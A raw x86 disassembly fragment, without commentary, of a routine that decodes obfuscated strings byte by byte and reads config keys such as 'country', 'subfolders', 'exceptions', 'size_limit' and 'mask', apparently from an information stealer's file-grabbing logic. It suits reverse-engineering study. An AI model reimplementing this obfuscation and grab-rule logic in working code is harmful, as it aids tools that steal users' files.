lea ecx, [ebp - 0x9b]
mov byte [ebp - 0x9b], 0x37
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x9b]
mov byte [ebp - 0x9a], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x9b]
mov byte [ebp - 0x99], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x9b]
mov byte [ebp - 0x98], al
call fcn.004197ad
mov byte [ebp - 0x97], al
mov esi, ebx
mov byte [ebp - 0x96], bl
push esi
lea ecx, [ebp - 0x9a]
call fcn.00410f8d
lea ecx, [ebp - 0x9b]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x9a]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 4
jb 0x42ab15
push 4
lea ecx, [ebp - 0x9a]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0x9a]
mov byte [eax], bl
call fcn.00410f8a
push eax
lea ecx, [ebp - 0x500]
call fcn.00411cb8
push ebx
push ebx
lea eax, [ebp - 0x500]
push eax
push 0x420c16
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
push 0x43217a
push ebx
push ebx
mov dword [ebp - 0x1c], eax
call edi
push ebx
push ebx
push ebx
push 0x428bb8
push ebx
push ebx
mov dword [ebp - 0x368], eax
call edi
lea ecx, [ebp - 0xaf4]
mov dword [ebp - 0x364], eax
call fcn.0042fc04
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x53]
push 0x69
mov byte [ebp - 0x53], 0x7c
call fcn.004197ad
push 0x70
lea ecx, [ebp - 0x53]
mov byte [ebp - 0x52], al
call fcn.004197ad
mov byte [ebp - 0x51], al
mov esi, ebx
mov byte [ebp - 0x50], bl
push esi
lea ecx, [ebp - 0x52]
call fcn.00410f8d
lea ecx, [ebp - 0x53]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x52]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 2
jb 0x42abd9
push 2
lea ecx, [ebp - 0x52]
call fcn.00410f8d
lea ecx, [ebp - 0x52]
mov byte [eax], 0
call fcn.00410f8a
push eax
lea ecx, [ebp - 0x40]
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42acbf
push 0x69
lea ecx, [ebp - 0x57]
mov byte [ebp - 0x57], 0x3e
call fcn.004197ad
push 0x70
lea ecx, [ebp - 0x57]
mov byte [ebp - 0x56], al
call fcn.004197ad
mov byte [ebp - 0x55], al
xor esi, esi
mov byte [ebp - 0x54], 0
push esi
lea ecx, [ebp - 0x56]
call fcn.00410f8d
lea ecx, [ebp - 0x57]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x56]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 2
jb 0x42ac52
push 2
lea ecx, [ebp - 0x56]
call fcn.00410f8d
lea ecx, [ebp - 0x56]
mov byte [eax], 0
call fcn.00410f8a
push eax
lea ecx, [ebp - 0x40]
call fcn.00422a2b
lea ecx, [ebp - 0xb3c]
push ecx
mov ecx, eax
call fcn.00422ab3
push eax
lea ecx, [ebp - 0xaf4]
call fcn.00411cee
lea ecx, [ebp - 0xb3c]
call fcn.00411ce9
jmp 0x42accf
push 0x4889c4
lea ecx, [ebp - 0xaf4]
call fcn.00411cc1
mov esi, 0x488ff0
lea ecx, [ebp - 0x40]
push esi
call fcn.0042fd3a
push 0x63
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0xd0], 0xc
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0xd0]
mov byte [ebp - 0xcf], al
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0xd0]
mov byte [ebp - 0xce], al
call fcn.004197ad
push 0x6e
lea ecx, [ebp - 0xd0]
mov byte [ebp - 0xcd], al
call fcn.004197ad
push 0x74
pop edi
push edi
lea ecx, [ebp - 0xd0]
mov byte [ebp - 0xcc], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0xd0]
mov byte [ebp - 0xcb], al
call fcn.004197ad
push 0x79
lea ecx, [ebp - 0xd0]
mov byte [ebp - 0xca], al
call fcn.004197ad
mov byte [ebp - 0xc9], al
xor esi, esi
mov byte [ebp - 0xc8], 0
push esi
lea ecx, [ebp - 0xcf]
call fcn.00410f8d
lea ecx, [ebp - 0xd0]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0xcf]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 7
jb 0x42ad77
push 7
lea ecx, [ebp - 0xcf]
call fcn.00410f8d
lea ecx, [ebp - 0xcf]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
mov esi, 0x488ff0
test al, al
jne 0x42af01
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x63
lea ecx, [ebp - 0xd9]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0xd9], 0x10
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0xd9]
mov byte [ebp - 0xd8], al
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0xd9]
mov byte [ebp - 0xd7], al
call fcn.004197ad
push 0x6e
lea ecx, [ebp - 0xd9]
mov byte [ebp - 0xd6], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0xd9]
mov byte [ebp - 0xd5], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0xd9]
mov byte [ebp - 0xd4], al
call fcn.004197ad
push 0x79
lea ecx, [ebp - 0xd9]
mov byte [ebp - 0xd3], al
call fcn.004197ad
mov byte [ebp - 0xd2], al
xor esi, esi
mov byte [ebp - 0xd1], 0
push esi
lea ecx, [ebp - 0xd8]
call fcn.00410f8d
lea ecx, [ebp - 0xd9]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0xd8]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 7
jb 0x42ae80
push 7
lea ecx, [ebp - 0xd8]
call fcn.00410f8d
lea ecx, [ebp - 0xd8]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
lea ecx, [ebp - 0xb54]
push ecx
mov ecx, eax
call fcn.00422ab3
push eax
lea ecx, [ebp - 0xadc]
call fcn.00411cee
lea ecx, [ebp - 0xb54]
call fcn.00411ce9
mov esi, 0x488ff0
jmp 0x42af11
push 0x4889c4
lea ecx, [ebp - 0xadc]
call fcn.00411cc1
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x73
lea ecx, [ebp - 0xaf]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0xaf], 0x72
call fcn.004197ad
push edi
lea ecx, [ebp - 0xaf]
mov byte [ebp - 0xae], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0xaf]
mov byte [ebp - 0xad], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0xaf]
mov byte [ebp - 0xac], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0xaf]
mov byte [ebp - 0xab], al
call fcn.004197ad
mov byte [ebp - 0xaa], al
xor esi, esi
mov byte [ebp - 0xa9], 0
push esi
lea ecx, [ebp - 0xae]
call fcn.00410f8d
lea ecx, [ebp - 0xaf]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0xae]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 5
jb 0x42af8a
push 5
lea ecx, [ebp - 0xae]
call fcn.00410f8d
lea ecx, [ebp - 0xae]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
mov esi, 0x488ff0
test al, al
jne 0x42b0ed
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x73
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0xa8], 0x2a
call fcn.004197ad
push edi
lea ecx, [ebp - 0xa8]
mov byte [ebp - 0xa7], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0xa8]
mov byte [ebp - 0xa6], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0xa8]
mov byte [ebp - 0xa5], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0xa8]
mov byte [ebp - 0xa4], al
call fcn.004197ad
mov byte [ebp - 0xa3], al
xor esi, esi
mov byte [ebp - 0xa2], 0
push esi
lea ecx, [ebp - 0xa7]
call fcn.00410f8d
lea ecx, [ebp - 0xa8]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0xa7]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 5
jb 0x42b06c
push 5
lea ecx, [ebp - 0xa7]
call fcn.00410f8d
lea ecx, [ebp - 0xa7]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
lea ecx, [ebp - 0xb6c]
push ecx
mov ecx, eax
call fcn.00422ab3
push eax
lea ecx, [ebp - 0xaac]
call fcn.00411cee
lea ecx, [ebp - 0xb6c]
call fcn.00411ce9
mov esi, 0x488ff0
jmp 0x42b0fd
push 0x4889c4
lea ecx, [ebp - 0xaac]
call fcn.00411cc1
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x63
lea ecx, [ebp - 0x95]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x95], 0x32
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x95]
mov byte [ebp - 0x94], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x95]
mov byte [ebp - 0x93], al
call fcn.004197ad
push 0x79
lea ecx, [ebp - 0x95]
mov byte [ebp - 0x92], al
call fcn.004197ad
mov byte [ebp - 0x91], al
xor esi, esi
mov byte [ebp - 0x90], 0
push esi
lea ecx, [ebp - 0x94]
call fcn.00410f8d
lea ecx, [ebp - 0x95]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x94]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 4
jb 0x42b164
push 4
lea ecx, [ebp - 0x94]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0x94]
mov byte [eax], bl
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
mov esi, 0x488ff0
test al, al
jne 0x42b2b6
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x63
lea ecx, [ebp - 0x8f]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x8f], 0x35
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x8f]
mov byte [ebp - 0x8e], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x8f]
mov byte [ebp - 0x8d], al
call fcn.004197ad
push 0x79
lea ecx, [ebp - 0x8f]
mov byte [ebp - 0x8c], al
call fcn.004197ad
mov byte [ebp - 0x8b], al
mov esi, ebx
mov byte [ebp - 0x8a], bl
push esi
lea ecx, [ebp - 0x8e]
call fcn.00410f8d
lea ecx, [ebp - 0x8f]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x8e]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 4
jb 0x42b234
push 4
lea ecx, [ebp - 0x8e]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0x8e]
mov byte [eax], bl
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
lea ecx, [ebp - 0xb84]
push ecx
mov ecx, eax
call fcn.00422ab3
push eax
lea ecx, [ebp - 0xa7c]
call fcn.00411cee
lea ecx, [ebp - 0xb84]
call fcn.00411ce9
mov esi, 0x488ff0
jmp 0x42b2c6
push 0x4889c4
lea ecx, [ebp - 0xa7c]
call fcn.00411cc1
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x4889dc
mov ecx, eax
call fcn.0042fd3a
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42b3ae
push esi
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x36
call fcn.0042fd3a
push 0x4889dc
mov ecx, eax
call fcn.0042fd3a
lea ecx, [ebp - 0xb9c]
push ecx
mov ecx, eax
call fcn.00422ab3
push eax
lea ecx, [ebp - 0xa64]
call fcn.00411cee
lea ecx, [ebp - 0xb9c]
call fcn.00411ce9
mov dword [ebp - 4], 0x35
jmp 0x42b3be
push 0x4889c4
lea ecx, [ebp - 0xa64]
call fcn.00411cc1
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x489038
mov ecx, eax
call fcn.0042fd3a
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42b421
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x489038
mov ecx, eax
call fcn.0042fd3a
mov ecx, eax
call fcn.00430157
movaps xmm1, xmm0
lea ecx, [ebp - 0xbcc]
call fcn.00429396
push eax
lea ecx, [ebp - 0xa4c]
call fcn.00411cee
lea ecx, [ebp - 0xbcc]
call fcn.00411ce9
jmp 0x42b431
push 0x4889c4
lea ecx, [ebp - 0xa4c]
call fcn.00411cc1
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x488acc
mov ecx, eax
call fcn.0042fd3a
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42b494
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x488acc
mov ecx, eax
call fcn.0042fd3a
mov ecx, eax
call fcn.00430157
movaps xmm1, xmm0
lea ecx, [ebp - 0xbe4]
call fcn.00429396
push eax
lea ecx, [ebp - 0xa34]
call fcn.00411cee
lea ecx, [ebp - 0xbe4]
call fcn.00411ce9
jmp 0x42b4a4
push 0x4889c4
lea ecx, [ebp - 0xa34]
call fcn.00411cc1
mov ecx, 0x489050
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x764]
call fcn.00411d34
lea ecx, [ebp - 0x764]
mov byte [ebp - 4], 0x3a
call fcn.0040bf23
lea ecx, [ebp - 0x764]
mov byte [ebp - 4], 0x35
call fcn.00411ce9
push 0x489068
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], ebx
mov esi, ebx
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
mov ecx, eax
call fcn.0042470a
test eax, eax
je 0x42c223
push 0x489068
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
push esi
mov ecx, eax
call fcn.0042fd79
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42c1f7
push 0x489068
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
push esi
mov ecx, eax
call fcn.0042fd79
push 0x73
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0xe4], 1
call fcn.004197ad
push 0x68
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xe3], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xe2], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xe1], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xe0], al
call fcn.004197ad
push 0x63
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xdf], al
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xde], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xdd], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xdc], al
call fcn.004197ad
mov byte [ebp - 0xdb], al
mov esi, ebx
mov byte [ebp - 0xda], bl
push esi
lea ecx, [ebp - 0xe3]
call fcn.00410f8d
lea ecx, [ebp - 0xe4]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0xe3]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 9
jb 0x42b621
push 9
lea ecx, [ebp - 0xe3]
call fcn.00410f8d
lea ecx, [ebp - 0xe3]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
neg al
lea ecx, [ebp - 0x40]
push 0x489068
sbb al, al
inc al
mov byte [ebp - 0x35c], al
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
mov esi, dword [ebp - 0x28]
mov ecx, eax
push esi
call fcn.0042fd79
push 0x73
lea ecx, [ebp - 0x12f]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x12f], 0x10
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x12f]
mov byte [ebp - 0x12e], al
call fcn.004197ad
push 0x62
lea ecx, [ebp - 0x12f]
mov byte [ebp - 0x12d], al
call fcn.004197ad
push 0x66
lea ecx, [ebp - 0x12f]
mov byte [ebp - 0x12c], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x12f]
mov byte [ebp - 0x12b], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x12f]
mov byte [ebp - 0x12a], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x12f]
mov byte [ebp - 0x129], al
call fcn.004197ad
push 0x65
pop esi
push esi
lea ecx, [ebp - 0x12f]
mov byte [ebp - 0x128], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x12f]
mov byte [ebp - 0x127], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x12f]
mov byte [ebp - 0x126], al
call fcn.004197ad
mov byte [ebp - 0x125], al
xor eax, eax
mov byte [ebp - 0x124], 0
mov dword [ebp - 0x18], eax
push eax
lea ecx, [ebp - 0x12e]
call fcn.00410f8d
lea ecx, [ebp - 0x12f]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x12e]
mov bl, al
call fcn.00410f8d
mov byte [eax], bl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0xa
jb 0x42b783
push 0xa
lea ecx, [ebp - 0x12e]
call fcn.00410f8d
lea ecx, [ebp - 0x12e]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
neg al
lea ecx, [ebp - 0x40]
push 0x489068
sbb al, al
inc al
mov byte [ebp - 0x360], al
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
push dword [ebp - 0x28]
mov ecx, eax
call fcn.0042fd79
push esi
lea ecx, [ebp - 0x123]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x123], 0x61
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x122], al
call fcn.004197ad
push 0x63
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x121], al
call fcn.004197ad
push esi
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x120], al
call fcn.004197ad
push 0x70
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x11f], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x11e], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x11d], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x11c], al
call fcn.004197ad
push 0x6e
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x11b], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x123]
mov byte [ebp - 0x11a], al
call fcn.004197ad
mov byte [ebp - 0x119], al
xor eax, eax
mov byte [ebp - 0x118], 0
mov dword [ebp - 0x18], eax
push eax
lea ecx, [ebp - 0x122]
call fcn.00410f8d
lea ecx, [ebp - 0x123]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x122]
mov bl, al
call fcn.00410f8d
mov byte [eax], bl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0xa
jb 0x42b8e7
push 0xa
lea ecx, [ebp - 0x122]
call fcn.00410f8d
lea ecx, [ebp - 0x122]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
test al, al
je 0x42b974
push 0x47734b
lea ecx, [ebp - 0xc74]
call fcn.00411d34
mov dword [ebp - 0x278], eax
mov byte [ebp - 4], 0x3b
mov esi, dword [ebp - 0x24]
or esi, 1
jmp 0x42badb
push 0x489068
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
push dword [ebp - 0x28]
mov ecx, eax
call fcn.0042fd79
push esi
lea ecx, [ebp - 0xfb]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0xfb], 0x1e
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0xfb]
mov byte [ebp - 0xfa], al
call fcn.004197ad
push 0x63
lea ecx, [ebp - 0xfb]
mov byte [ebp - 0xf9], al
call fcn.004197ad
push esi
lea ecx, [ebp - 0xfb]
mov byte [ebp - 0xf8], al
call fcn.004197ad
push 0x70
lea ecx, [ebp - 0xfb]
mov byte [ebp - 0xf7], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0xfb]
mov byte [ebp - 0xf6], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0xfb]
mov byte [ebp - 0xf5], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0xfb]
mov byte [ebp - 0xf4], al
call fcn.004197ad
push 0x6e
lea ecx, [ebp - 0xfb]
mov byte [ebp - 0xf3], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0xfb]
mov byte [ebp - 0xf2], al
call fcn.004197ad
mov byte [ebp - 0xf1], al
xor esi, esi
mov byte [ebp - 0xf0], 0
push esi
lea ecx, [ebp - 0xfa]
call fcn.00410f8d
lea ecx, [ebp - 0xfb]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0xfa]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0xa
jb 0x42ba65
push 0xa
lea ecx, [ebp - 0xfa]
call fcn.00410f8d
lea ecx, [ebp - 0xfa]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
lea ecx, [ebp - 0xc5c]
push ecx
mov ecx, eax
call fcn.00422ab3
mov dword [ebp - 0x278], eax
mov dword [ebp - 4], 0x3c
mov esi, dword [ebp - 0x24]
or esi, 2
push 0x489068
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x24], esi
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
push dword [ebp - 0x28]
mov ecx, eax
call fcn.0042fd79
push 0x73
lea ecx, [ebp - 0x10b]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x10b], 0x75
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x10a], al
call fcn.004197ad
push 0x7a
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x109], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x108], al
call fcn.004197ad
push 0x5f
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x107], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x106], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x105], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x104], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x103], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x102], al
call fcn.004197ad
mov byte [ebp - 0x101], al
xor eax, eax
mov byte [ebp - 0x100], 0
mov dword [ebp - 0x18], eax
push eax
lea ecx, [ebp - 0x10a]
call fcn.00410f8d
lea ecx, [ebp - 0x10b]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push dword [ebp - 0x18]
lea ecx, [ebp - 0x10a]
mov bl, al
call fcn.00410f8d
mov byte [eax], bl
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0xa
jb 0x42bbd4
push 0xa
lea ecx, [ebp - 0x10a]
call fcn.00410f8d
lea ecx, [ebp - 0x10a]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
test al, al
je 0x42bc45
and dword [ebp - 0x18], 0
jmp 0x42bd97
push 0x489068
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
push dword [ebp - 0x28]
mov ecx, eax
call fcn.0042fd79
push 0x73
lea ecx, [ebp - 0x117]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x117], 0x67
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x117]
mov byte [ebp - 0x116], al
call fcn.004197ad
push 0x7a
lea ecx, [ebp - 0x117]
mov byte [ebp - 0x115], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x117]
mov byte [ebp - 0x114], al
call fcn.004197ad
push 0x5f
lea ecx, [ebp - 0x117]
mov byte [ebp - 0x113], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x117]
mov byte [ebp - 0x112], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x117]
mov byte [ebp - 0x111], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x117]
mov byte [ebp - 0x110], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x117]
mov byte [ebp - 0x10f], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x117]
mov byte [ebp - 0x10e], al
call fcn.004197ad
mov byte [ebp - 0x10d], al
xor esi, esi
mov byte [ebp - 0x10c], 0
push esi
lea ecx, [ebp - 0x116]
call fcn.00410f8d
lea ecx, [ebp - 0x117]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x116]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0xa
jb 0x42bd38
push 0xa
lea ecx, [ebp - 0x116]
call fcn.00410f8d
lea ecx, [ebp - 0x116]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00430146
mov dword [ebp - 0x18], eax
push 0x489068
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
push dword [ebp - 0x28]
mov ecx, eax
call fcn.0042fd79
push 0x6d
lea ecx, [ebp - 0x89]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x89], 0x22
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x89]
mov byte [ebp - 0x88], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x89]
mov byte [ebp - 0x87], al
call fcn.004197ad
push 0x6b
lea ecx, [ebp - 0x89]
mov byte [ebp - 0x86], al
call fcn.004197ad
mov byte [ebp - 0x85], al
xor esi, esi
mov byte [ebp - 0x84], 0
push esi
lea ecx, [ebp - 0x88]
call fcn.00410f8d
lea ecx, [ebp - 0x89]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x88]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 4
jb 0x42be19
push 4
lea ecx, [ebp - 0x88]
call fcn.00410f8d
lea ecx, [ebp - 0x88]
mov byte [eax], 0
call fcn.00410f8a
mov ecx, dword [ebp - 0x20]
push eax
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
mov esi, dword [ebp - 0x24]
test al, al
je 0x42be9e
push 0x47734b
lea ecx, [ebp - 0xc44]
call fcn.00411d34
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0x3d
or esi, 4
jmp 0x42bf8a
push 0x489068
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
push 0x488f78
mov ecx, eax
call fcn.0042fd3a
push dword [ebp - 0x28]
mov ecx, eax
call fcn.0042fd79
push 0x6d
lea ecx, [ebp - 0x83]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x83], 0x47
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x83]
mov byte [ebp - 0x82], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x83]
mov byte [ebp - 0x81], al
call fcn.004197ad
push 0x6b
lea ecx, [ebp - 0x83]
mov byte [ebp - 0x80], al
call fcn.004197ad
mov byte [ebp - 0x7f], al
xor esi, esi
mov byte [ebp - 0x7e], 0
push esi
lea ecx, [ebp - 0x82]
call fcn.00410f8d
lea ecx, [ebp - 0x83]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x82]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 4
jb 0x42bf17
push 4
